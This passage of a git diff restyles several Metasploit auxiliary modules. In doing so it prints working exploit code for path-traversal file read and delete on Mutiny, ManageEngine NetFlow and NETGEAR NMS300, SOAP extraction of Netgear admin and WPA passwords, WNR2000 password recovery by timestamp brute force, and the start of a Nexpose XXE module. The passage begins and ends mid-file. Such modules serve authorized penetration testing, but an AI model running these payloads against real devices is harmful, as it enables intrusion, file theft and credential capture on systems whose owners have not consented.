5.0-1.07 appliance. + }, + 'Author' => [ 'juan vazquez' # Metasploit module and initial discovery ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2013-0136' ], [ 'US-CERT-VU', '701572' ], [ 'URL', 'https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ] ], - 'Actions' => - [ - ['Read', 'Description' => 'Read arbitrary file'], - ['Delete', 'Description' => 'Delete arbitrary file'] + 'Actions' => [ + ['Read', { 'Description' => 'Read arbitrary file' }], + ['Delete', { 'Description' => 'Delete arbitrary file' }] ], - 'DefaultAction' => 'Read', - 'DisclosureDate' => '2013-05-15')) + 'DefaultAction' => 'Read', + 'DisclosureDate' => '2013-05-15' + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']), + OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]), - OptString.new('PATH', [ true, 'The file to read or delete' ]), - ]) + OptString.new('PATH', [ true, 'The file to read or delete' ]), + ] + ) end def run - print_status("Trying to login") + print_status('Trying to login') if login - print_good("Login Successful") + print_good('Login Successful') else - print_error("Login failed, review USERNAME and PASSWORD options") + print_error('Login failed, review USERNAME and PASSWORD options') return end case action.name - when 'Read' - read_file(datastore['PATH']) - when 'Delete' - delete_file(datastore['PATH']) + when 'Read' + read_file(datastore['PATH']) + when 'Delete' + delete_file(datastore['PATH']) end end def read_file(file) + print_status('Copying file to Web location...') - print_status("Copying file to Web location...") - - dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/" + dst_path = '/usr/jakarta/tomcat/webapps/ROOT/m/' res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"), - 'method' => 'POST', - 'cookie' => "JSESSIONID=#{@session}", - 'encode_params' => false, - 'vars_post' => { - 'operation' => 'COPY', - 'paths[]' => "../../../../#{file}%00.txt", - 'newPath' => "../../../..#{dst_path}" + { + 'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{@session}", + 'encode_params' => false, + 'vars_post' => { + 'operation' => 'COPY', + 'paths[]' => "../../../../#{file}%00.txt", + 'newPath' => "../../../..#{dst_path}" + } } - }) + ) - if res and res.code == 200 and res.body =~ /\{"success":true\}/ + if res && (res.code == 200) && res.body =~ (/\{"success":true\}/) print_good("File #{file} copied to #{dst_path} successfully") else print_error("Failed to copy #{file} to #{dst_path}") end - print_status("Retrieving file contents...") + print_status('Retrieving file contents...') res = send_request_cgi( { - 'uri' => normalize_uri(target_uri.path, "m", ::File.basename(file)), - 'method' => 'GET' - }) + 'uri' => normalize_uri(target_uri.path, 'm', ::File.basename(file)), + 'method' => 'GET' + } + ) - if res and res.code == 200 - store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file) + if res && (res.code == 200) + store_path = store_loot('mutiny.frontend.data', 'application/octet-stream', rhost, res.body, file) print_good("File successfully retrieved and saved on #{store_path}") else - print_error("Failed to retrieve file") + print_error('Failed to retrieve file') end # Cleanup @@ -111,17 +114,18 @@ class MetasploitModule < Msf::Auxiliary print_status("Deleting file #{file}") res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"), - 'method' => 'POST', - 'cookie' => "JSESSIONID=#{@session}", - 'vars_post' => { - 'operation' => 'DELETE', - 'paths[]' => "../../../../#{file}" + { + 'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{@session}", + 'vars_post' => { + 'operation' => 'DELETE', + 'paths[]' => "../../../../#{file}" + } } - }) + ) - if res and res.code == 200 and res.body =~ /\{"success":true\}/ + if res && (res.code == 200) && res.body =~ (/\{"success":true\}/) print_good("File #{file} deleted") else print_error("Error deleting file #{file}") @@ -129,41 +133,43 @@ class MetasploitModule < Msf::Auxiliary end def login - res = send_request_cgi( { - 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), + 'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'), 'method' => 'GET' - }) + } + ) - if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ - first_session = $1 + if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/) + first_session = ::Regexp.last_match(1) end res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"), - 'method' => 'POST', - 'cookie' => "JSESSIONID=#{first_session}", - 'vars_post' => { - 'j_username' => datastore['USERNAME'], - 'j_password' => datastore['PASSWORD'] + { + 'uri' => normalize_uri(target_uri.path, 'interface', 'j_security_check'), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{first_session}", + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'] + } } - }) + ) - if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/ + if !res || (res.code != 302) || res.headers['Location'] !~ (%r{interface/index.do}) return false end res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), - 'method' => 'GET', - 'cookie' => "JSESSIONID=#{first_session}" - }) + { + 'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'), + 'method' => 'GET', + 'cookie' => "JSESSIONID=#{first_session}" + } + ) - if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ - @session = $1 + if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/) + @session = ::Regexp.last_match(1) return true end diff --git a/modules/auxiliary/admin/http/netflow_file_download.rb b/modules/auxiliary/admin/http/netflow_file_download.rb index b1147f97d5..81310f8be6 100644 --- a/modules/auxiliary/admin/http/netflow_file_download.rb +++ b/modules/auxiliary/admin/http/netflow_file_download.rb @@ -7,39 +7,41 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download', - 'Description' => %q{ - This module exploits an arbitrary file download vulnerability in CSVServlet - on ManageEngine NetFlow Analyzer. This module has been tested on both Windows - and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you - must escape the backslash with a backslash. - }, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download', + 'Description' => %q{ + This module exploits an arbitrary file download vulnerability in CSVServlet + on ManageEngine NetFlow Analyzer. This module has been tested on both Windows + and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you + must escape the backslash with a backslash. + }, + 'Author' => [ 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2014-5445' ], [ 'OSVDB', '115340' ], [ 'URL', 'https://seclists.org/fulldisclosure/2014/Dec/9' ], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_netflow_it360_file_dl.txt' ] ], - 'DisclosureDate' => '2014-11-30')) + 'DisclosureDate' => '2014-11-30' + ) + ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', - [ true, "The base path to NetFlow Analyzer", '/netflow' ]), + [ true, 'The base path to NetFlow Analyzer', '/netflow' ]), OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']), - ]) + ] + ) end - def run # Create request begin @@ -47,17 +49,17 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'), - 'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }, + 'vars_get' => { 'schFilePath' => datastore['FILEPATH'] } }) rescue Rex::ConnectionError - print_error("Could not connect.") + print_error('Could not connect.') return end # Show data if needed if res && res.code == 200 if res.body.to_s.bytesize == 0 - print_error("0 bytes returned, file does not exist or it is empty.") + print_error('0 bytes returned, file does not exist or it is empty.') return end vprint_line(res.body.to_s) @@ -72,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary ) print_good("File saved in: #{path}") else - print_error("Failed to download file.") + print_error('Failed to download file.') end end end diff --git a/modules/auxiliary/admin/http/netgear_auth_download.rb b/modules/auxiliary/admin/http/netgear_auth_download.rb index a682844fab..ffacefd9ee 100644 --- a/modules/auxiliary/admin/http/netgear_auth_download.rb +++ b/modules/auxiliary/admin/http/netgear_auth_download.rb @@ -8,46 +8,50 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download', - 'Description' => %q{ - Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. - The application has a file download vulnerability that can be exploited by an - authenticated remote attacker to download any file in the system. - This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download', + 'Description' => %q{ + Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. + The application has a file download vulnerability that can be exploited by an + authenticated remote attacker to download any file in the system. + This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. + }, + 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and updated MSF module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2016-1524'], ['US-CERT-VU', '777024'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'], ['URL', 'https://seclists.org/fulldisclosure/2016/Feb/30'] ], - 'DisclosureDate' => '2016-02-04')) + 'DisclosureDate' => '2016-02-04' + ) + ) register_options( [ Opt::RPORT(8080), - OptString.new('TARGETURI', [true, "Application path", '/']), + OptString.new('TARGETURI', [true, 'Application path', '/']), OptString.new('USERNAME', [true, 'The username to login as', 'admin']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']), - ]) + ] + ) register_advanced_options( [ OptInt.new('DEPTH', [false, 'Max depth to traverse', 15]) - ]) + ] + ) end def authenticate res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), 'method' => 'POST', 'vars_post' => { 'userName' => datastore['USERNAME'], @@ -61,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/ # another admin is logged in, let's kick him out res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'), 'method' => 'POST', 'cookie' => cookie, - 'vars_post' => { 'singleId' => $1 }, + 'vars_post' => { 'singleId' => ::Regexp.last_match(1) }, 'vars_get' => { 'method' => 'loginAgain' } }) - if res && res.code == 200 && (not res.body.to_s =~ /"success":true/) + if res && res.code == 200 && (res.body.to_s !~ /"success":true/) return nil end end @@ -76,9 +80,8 @@ class MetasploitModule < Msf::Auxiliary return nil end - - def download_file (download_path, cookie) - filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img" + def download_file(download_path, cookie) + filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.img' begin res = send_request_cgi({ 'method' => 'POST', @@ -91,12 +94,12 @@ class MetasploitModule < Msf::Auxiliary 'realName' => download_path, 'md5' => '', 'fileName' => filename, - 'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)), - 'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)), + 'version' => Rex::Text.rand_text_alphanumeric(rand(8..9)), + 'vendor' => Rex::Text.rand_text_alphanumeric(rand(4..6)), 'deviceType' => rand(999), - 'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)), - 'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) - }, + 'deviceModel' => Rex::Text.rand_text_alphanumeric(rand(5..7)), + 'description' => Rex::Text.rand_text_alphanumeric(rand(8..17)) + } }) if res && res.code == 200 && res.body.to_s =~ /"success":true/ @@ -106,17 +109,17 @@ class MetasploitModule < Msf::Auxiliary 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'), 'vars_get' => { 'method' => 'getPageList', - 'type' => 'configImgManager', + 'type' => 'configImgManager' }, 'vars_post' => { - 'everyPage' => 500 + rand(999) - }, + 'everyPage' => rand(500..1498) + } }) if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/ - image_id = $1 + image_id = ::Regexp.last_match(1) return send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'), 'method' => 'GET', 'cookie' => cookie, 'vars_get' => { @@ -133,7 +136,6 @@ class MetasploitModule < Msf::Auxiliary end end - def save_file(filedata) vprint_line(filedata.to_s) fname = File.basename(datastore['FILEPATH']) @@ -150,7 +152,7 @@ class MetasploitModule < Msf::Auxiliary def run cookie = authenticate - if cookie == nil + if cookie.nil? fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.") else print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.") @@ -164,22 +166,18 @@ class MetasploitModule < Msf::Auxiliary filepath = datastore['FILEPATH'] res = download_file(filepath, cookie) - if res && res.code == 200 - if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) - save_file(res.body) - return - end + if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/)) + save_file(res.body) + return end print_error("#{peer} - File not found, using bruteforce to attempt to download the file") count = 1 while count < datastore['DEPTH'] - res = download_file(("../" * count).chomp('/') + filepath, cookie) - if res && res.code == 200 - if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/) - save_file(res.body) - return - end + res = download_file(('../' * count).chomp('/') + filepath, cookie) + if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/)) + save_file(res.body) + return end count += 1 end diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index db9f63a60d..d778d4afbf 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Netgear Unauthenticated SOAP Password Extractor', + 'Name' => 'Netgear Unauthenticated SOAP Password Extractor', 'Description' => %q{ This module exploits an authentication bypass vulnerability in different Netgear devices. It allows to extract the password for the remote management interface. This module has been @@ -26,119 +26,114 @@ class MetasploitModule < Msf::Auxiliary NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton), NetGear WNR2000v3 - v1.1.2.10 (Tested by h00die) }, - 'References' => - [ - [ 'BID', '72640' ], - [ 'OSVDB', '118316' ], - [ 'URL', 'https://github.com/darkarnium/secpub/tree/master/Vulnerabilities/NetGear/SOAPWNDR' ] - ], - 'Author' => - [ - 'Peter Adkins ', # Vulnerability discovery - 'Michael Messner ', # Metasploit module - 'h00die ' # Metasploit enhancements/docs - ], - 'License' => MSF_LICENSE, + 'References' => [ + [ 'BID', '72640' ], + [ 'OSVDB', '118316' ], + [ 'URL', 'https://github.com/darkarnium/secpub/tree/master/Vulnerabilities/NetGear/SOAPWNDR' ] + ], + 'Author' => [ + 'Peter Adkins ', # Vulnerability discovery + 'Michael Messner ', # Metasploit module + 'h00die ' # Metasploit enhancements/docs + ], + 'License' => MSF_LICENSE, 'DisclosureDate' => 'Feb 11 2015' ) end def run - print_status("Trying to access the configuration of the device") + print_status('Trying to access the configuration of the device') # extract device details action = 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo' - print_status("Extracting Firmware version...") + print_status('Extracting Firmware version...') extract_data(action) # extract credentials action = 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo' - print_status("Extracting credentials...") + print_status('Extracting credentials...') extract_data(action) # extract wifi info action = 'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo' - print_status("Extracting Wifi...") + print_status('Extracting Wifi...') extract_data(action) # extract WPA info action = 'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys' - print_status("Extracting WPA Keys...") + print_status('Extracting WPA Keys...') extract_data(action) end def extract_data(soap_action) - begin - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/', - 'headers' => { - 'SOAPAction' => soap_action, - }, - 'data' => '=' - }) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/', + 'headers' => { + 'SOAPAction' => soap_action + }, + 'data' => '=' + }) - return if res.nil? - return if res.code == 404 - return if res.headers['Server'].nil? - # unknown if other devices have other Server headers - return if res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/ + return if res.nil? + return if res.code == 404 + return if res.headers['Server'].nil? + # unknown if other devices have other Server headers + return if res.headers['Server'] !~ %r{Linux/2.6.15 uhttpd/1.0.0 soap/1.0} - if res.body =~ /(.*)<\/NewPassword>/ - print_status("Credentials found, extracting...") - extract_credentials(res.body) - end - - if res.body =~ /(.*)<\/ModelName>/ - model_name = $1 - print_good("Model #{model_name} found") - end - - if res.body =~ /(.*)<\/Firmwareversion>/ - firmware_version = $1 - print_good("Firmware version #{firmware_version} found") - - #store all details as loot - loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body) - print_good("Device details downloaded to: #{loot}") - end - - if res.body =~ /(.*)<\/NewSSID>/ - ssid = $1 - print_good("Wifi SSID: #{ssid}") - end - - if res.body =~ /(.*)<\/NewBasicEncryptionModes>/ - wifi_encryption = $1 - print_good("Wifi Encryption: #{wifi_encryption}") - end - - if res.body =~ /(.*)<\/NewWPAPassphrase>/ - wifi_password = $1 - print_good("Wifi Password: #{wifi_password}") - end - - rescue ::Rex::ConnectionError - vprint_error("Failed to connect to the web server") - return + if res.body =~ %r{(.*)} + print_status('Credentials found, extracting...') + extract_credentials(res.body) end + + if res.body =~ %r{(.*)} + model_name = ::Regexp.last_match(1) + print_good("Model #{model_name} found") + end + + if res.body =~ %r{(.*)} + firmware_version = ::Regexp.last_match(1) + print_good("Firmware version #{firmware_version} found") + + # store all details as loot + loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body) + print_good("Device details downloaded to: #{loot}") + end + + if res.body =~ %r{(.*)} + ssid = ::Regexp.last_match(1) + print_good("Wifi SSID: #{ssid}") + end + + if res.body =~ %r{(.*)} + wifi_encryption = ::Regexp.last_match(1) + print_good("Wifi Encryption: #{wifi_encryption}") + end + + if res.body =~ %r{(.*)} + wifi_password = ::Regexp.last_match(1) + print_good("Wifi Password: #{wifi_password}") + end + rescue ::Rex::ConnectionError + vprint_error('Failed to connect to the web server') + return end def extract_credentials(body) body.each_line do |line| - if line =~ /(.*)<\/NewPassword>/ - pass = $1 - print_good("admin / #{pass} credentials found") + next unless line =~ %r{(.*)} - connection_details = { - module_fullname: self.fullname, - private_data: pass, - private_type: :password, - username: 'admin', - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_details) - create_credential_and_login(connection_details) - end + pass = ::Regexp.last_match(1) + print_good("admin / #{pass} credentials found") + + connection_details = { + module_fullname: fullname, + private_data: pass, + private_type: :password, + username: 'admin', + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_details) + create_credential_and_login(connection_details) end # store all details as loot diff --git a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb index 064840f0cb..19685cc3d8 100644 --- a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb +++ b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb @@ -10,47 +10,51 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::CRand def initialize(info = {}) - super(update_info(info, - 'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery', - 'Description' => %q{ - The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery. - This vulnerability can be exploited by an unauthenticated attacker who is able to guess - the value of a certain timestamp which is in the configuration of the router. - Brute forcing the timestamp token might take a few minutes, a few hours, or days, but - it is guaranteed that it can be bruteforced. - This module works very reliably and it has been tested with the WNR2000v5, firmware versions - 1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this - has not been tested. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery', + 'Description' => %q{ + The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery. + This vulnerability can be exploited by an unauthenticated attacker who is able to guess + the value of a certain timestamp which is in the configuration of the router. + Brute forcing the timestamp token might take a few minutes, a few hours, or days, but + it is guaranteed that it can be bruteforced. + This module works very reliably and it has been tested with the WNR2000v5, firmware versions + 1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this + has not been tested. + }, + 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2016-10175'], ['CVE', '2016-10176'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'], ['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'], ['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability'] ], - 'DisclosureDate' => '2016-12-20')) + 'DisclosureDate' => '2016-12-20' + ) + ) register_options( [ Opt::RPORT(80) - ]) + ] + ) register_advanced_options( [ OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200]) - ]) + ] + ) end def get_current_time res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET' + 'uri' => '/', + 'method' => 'GET' }) if res && res['Date'] date = res['Date'] @@ -62,76 +66,75 @@ class MetasploitModule < Msf::Auxiliary # back to an integer. # This emulates the behaviour of the soft-fp library and the float cast # which is done at the end of Netgear's timestamp generator. - def ieee754_round (number) + def ieee754_round(number) [number].pack('f').unpack('f*')[0].to_i end - # This is the actual algorithm used in the get_timestamp function in # the Netgear firmware. def get_timestamp(time) srandom_r time t0 = random_r - t1 = 0x17dc65df; - hi = (t0 * t1) >> 32; - t2 = t0 >> 31; - t3 = hi >> 23; - t3 = t3 - t2; - t4 = t3 * 0x55d4a80; - t0 = t0 - t4; - t0 = t0 + 0x989680; + t1 = 0x17dc65df + hi = (t0 * t1) >> 32 + t2 = t0 >> 31 + t3 = hi >> 23 + t3 -= t2 + t4 = t3 * 0x55d4a80 + t0 -= t4 + t0 += 0x989680 ieee754_round(t0) end def get_creds res = send_request_cgi({ - 'uri' => '/BRS_netgear_success.html', - 'method' => 'GET' + 'uri' => '/BRS_netgear_success.html', + 'method' => 'GET' }) - if res && res.body =~ /var sn="([\w]*)";/ - serial = $1 + if res && res.body =~ /var sn="(\w*)";/ + serial = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...") end # 1: send serial number send_request_cgi({ - 'uri' => '/apply_noauth.cgi', - 'query' => '/unauth.cgi', - 'method' => 'POST', + 'uri' => '/apply_noauth.cgi', + 'query' => '/unauth.cgi', + 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'vars_post' => { 'submit_flag' => 'match_sn', - 'serial_num' => serial, - 'continue' => '+Continue+' + 'serial_num' => serial, + 'continue' => '+Continue+' } }) # 2: send answer to secret questions send_request_cgi({ - 'uri' => '/apply_noauth.cgi', - 'query' => '/securityquestions.cgi', - 'method' => 'POST', + 'uri' => '/apply_noauth.cgi', + 'query' => '/securityquestions.cgi', + 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'vars_post' => { 'submit_flag' => 'security_question', - 'answer1' => @q1, - 'answer2' => @q2, - 'continue' => '+Continue+' + 'answer1' => @q1, + 'answer2' => @q2, + 'continue' => '+Continue+' } }) # 3: PROFIT!!! res = send_request_cgi({ - 'uri' => '/passwordrecovered.cgi', - 'method' => 'GET' + 'uri' => '/passwordrecovered.cgi', + 'method' => 'GET' }) - if res && res.body =~ /Admin Password: (.*)<\/TD>/ - password = $1 + if res && res.body =~ %r{Admin Password: (.*)} + password = ::Regexp.last_match(1) if password.blank? fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?") end @@ -139,8 +142,8 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::Unknown, "#{peer} - Failed to obtain password") end - if res && res.body =~ /Admin Username: (.*)<\/TD>/ - username = $1 + if res && res.body =~ %r{Admin Username: (.*)} + username = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Failed to obtain username") end @@ -149,27 +152,27 @@ class MetasploitModule < Msf::Auxiliary end def send_req(timestamp) - begin - query_str = (timestamp == nil ? \ - '/PWD_password.htm' : \ - "/PWD_password.htm%20timestamp=#{timestamp.to_s}") - res = send_request_raw({ - 'uri' => '/apply_noauth.cgi', - 'query' => query_str, - 'method' => 'POST', - 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, - 'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}" - }) - return res - rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e - return - end + query_str = (if timestamp.nil? + '/PWD_password.htm' + else + "/PWD_password.htm%20timestamp=#{timestamp}" + end) + res = send_request_raw({ + 'uri' => '/apply_noauth.cgi', + 'query' => query_str, + 'method' => 'POST', + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}" + }) + return res + rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + return end def run # generate the security questions - @q1 = Rex::Text.rand_text_alpha(rand(20) + 2) - @q2 = Rex::Text.rand_text_alpha(rand(20) + 2) + @q1 = Rex::Text.rand_text_alpha(rand(2..21)) + @q2 = Rex::Text.rand_text_alpha(rand(2..21)) # let's try without timestamp first (the timestamp only gets set if the user visited the page before) print_status("#{peer} - Trying the easy way out first") @@ -185,7 +188,7 @@ class MetasploitModule < Msf::Auxiliary # get the current date from the router and parse it end_time = get_current_time - if end_time == nil + if end_time.nil? fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time") end if end_time <= datastore['TIME_OFFSET'] @@ -203,7 +206,7 @@ class MetasploitModule < Msf::Auxiliary print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).") # work back from the current router time minus datastore['TIME_OFFSET'] - while true + loop do for time in end_time.downto(start_time) timestamp = get_timestamp(time) sleep 0.1 @@ -211,12 +214,12 @@ class MetasploitModule < Msf::Auxiliary print_status("#{peer} - Still working, trying time #{time}") end res = send_req(timestamp) - if res && res.code == 200 - credentials = get_creds - print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"") - store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port - return - end + next unless res && res.code == 200 + + credentials = get_creds + print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"") + store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port + return end end_time = start_time start_time -= datastore['TIME_OFFSET'] diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index d8bfcddc37..8367f0973f 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -10,37 +10,39 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Nexpose XXE Arbitrary File Read', - 'Description' => %q{ - Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number - of vectors. This vulnerability can allow an attacker to a craft special XML that - could read arbitrary files from the filesystem. This module exploits the - vulnerability via the XML API. - }, - 'Author' => - [ - 'Brandon Perry ', # Initial discovery and Metasploit module - 'Drazen Popovic ', # Independent discovery, alternate vector - 'Bojan Zdrnja ' # Independently reported + super( + update_info( + info, + 'Name' => 'Nexpose XXE Arbitrary File Read', + 'Description' => %q{ + Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number + of vectors. This vulnerability can allow an attacker to a 